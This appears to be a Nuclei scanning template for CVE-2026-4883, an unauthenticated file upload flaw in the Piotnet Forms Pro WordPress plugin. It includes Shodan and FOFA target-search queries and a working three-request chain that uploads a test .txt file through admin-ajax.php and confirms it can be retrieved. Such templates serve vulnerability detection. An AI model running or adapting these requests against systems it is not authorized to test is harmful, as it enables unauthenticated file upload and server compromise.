Copy
id: CVE-2026-4883
info:
name: Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE
author: 0x_Akoko,xShadow-Here
severity: critical
description: |
Piotnet Forms WordPress plugin <= 2.1.40 contains an unrestricted file upload vulnerability caused by incomplete file extension blacklist in 'piotnetforms_ajax_form_builder', letting unauthenticated attackers upload arbitrary files, exploit requires a file field in the form.
impact: |
Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
remediation: |
Update to the latest version of Piotnet Forms plugin.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-4883
- https://github.com/xShadow-Here/CVE-2026-4883
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-4883
epss-score: 0.03063
epss-percentile: 0.877
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
vendor: piotnetforms
product: piotnetforms-pro
shodan-query: http.html:"piotnetforms"
fofa-query: body="piotnetforms"
tags: cve,cve2026,wordpress,piotnetforms,fileupload,rce,wp-plugin,intrusive,vkev
flow: |
http(1);
http(2);
let raw = String(template["upload_path"] || "");
let f = String(template["fname"] || "");
let parts = raw.replace("[", "").replace("]", "").split(/[\s,]+/);
let chosen = "";
for (let i = 0; i < parts.length; i++) {
if (parts[i] && parts[i].indexOf("/" + f + "-") !== -1) {
chosen = parts[i];
}
}
if (chosen !== "") {
set("upload_path", chosen);
http(3);
}
variables:
fname: "{{to_lower(rand_base(5))}}"
http:
- raw:
- |
@timeout: 40s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPF
X-Requested-With: XMLHttpRequest
Referer: {{BaseURL}}/
Connection: close
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="action"
piotnetforms_ajax_form_builder
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="post_id"
1
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="form_id"
piotnetforms
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="fields"
[{"name":"upload_field","value":"","file_name":["{{fname}}.txt"],"attach-files":0,"type":"file","image_upload":false,"label":"","repeater_id":"","repeater_index":0,"repeater_label":""}]
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="referrer"
{{BaseURL}}/
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="remote_ip"
127.0.0.1
------WebKitFormBoundaryPF
Content-Disposition: form-data; name="upload_field[]"; filename="{{fname}}.txt"
Content-Type: text/plain
{{fname}}
------WebKitFormBoundaryPF--
matchers:
- type: dsl
dsl:
- 'contains(body, "\"status\":1")'
internal: true
- raw:
- |
@timeout: 30s
GET /wp-admin/admin-ajax.php?action=piotnetforms_export_form_submission HTTP/1.1
Host: {{Hostname}}
Accept: */*
Connection: close
extractors:
- type: regex
name: upload_path
internal: true
group: 1
part: body
regex:
- '(/wp-content/uploads/piotnetforms/files/[a-z0-9]{5}-[0-9a-f]{13}\.txt)'
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/uploads/piotnetforms/files/{{fname}}-")'
internal: true
- raw:
- |
GET {{upload_path}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
Connection: close
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{{fname}}")'
condition: and
# digest: 4a0a00473045022032c7a569a3646ed9724f465cf26650ab61890e0b344d22e6abc75c6cd4e023f3022100a6ec1a5730755dfacb4d9ed2176f2b0e205a2927433c08ee4dcb3780dee6f477:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.